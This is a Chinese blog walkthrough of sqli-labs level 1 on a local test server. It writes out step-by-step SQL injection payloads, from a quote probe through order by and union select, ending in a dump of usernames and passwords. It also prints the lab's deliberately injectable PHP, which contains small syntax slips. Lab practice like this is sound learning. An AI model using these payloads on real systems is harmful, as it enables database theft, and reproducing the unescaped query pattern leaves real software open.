sqli-labs-master第一关:基于错误的GET单引号字符型注入

首先来到第一关:


http://127.0.0.1/sqli-labs-master/Less-1/


1.png


用语句 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 进行测试报错


可以看到sql语句出错了。2.png


用 and 1 = 1去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23 回显正常

%23是“#”注释

3.png


用 and 1 = 2 去测试:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23 回显示失败,说明存在注入点。


4.png


判断字段:

当order by 3 的时候,回显正常:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23

5.png

当order by 4 的时候,回显不正常:


6.png


说明字段是3。

报错显示回显库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,3 %23

回显的地方是2和3。

7.png

用version()看版本:

用database()看当前网站使用的数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,version(), database() %23

通过下图可以看到,使用的php版本是5.5.53,该网站使用的数据库名字是security


8.png

添加?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23 使用过滤查询语句where 查看security数据库内的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

看到有四个表:


9.png


查看users表内的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23


10.png

查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users %23

11.png


我们在看到users表里还看到了id,我们看看有多少组账号密码

只需要在后面加上 where id = n即可

经过测试 id 最大是14

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 1%23

12.png

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 14%23



13.png


第一关结束:


第二关很快更新。



声明:官方源码被我改动了。附上我改动的php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//including the Mysql connect parameters.
include ( "../sql-connections/sql-connect.php" );
error_reporting (0);
// take the variables
if (isset( $_GET [ 'id' ]))
{
$id = $_GET [ 'id' ];
//logging the connection parameters to a file for analysis.
$fp = fopen ( 'result.txt' , 'a' );
fwrite( $fp , 'ID:' . $id . "\n" );
fclose( $fp );
// connectivity
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1" ;
$result =mysql_query( $sql );
$row  = mysql_fetch_array( $result );
echo  $sql ;
echo  "<br>" ;
if ( $row )
{
    echo  "<font size='5' color= '#99FF00'>" ;
    echo  'Your Login name:' $row [ 'username' ];
    echo  "<br>" ;
    echo  'Your Password:'  . $row [ 'password' ];
    echo  "</font>" ;
    }
else
{
echo  '<font color= "#FFFF00">' ;
print_r(mysql_error());
echo  "</font>" ;
}
}
else  echo  "Please input the ID as parameter with numeric value" ;}
?>

微信公众号:

1.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2060816


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值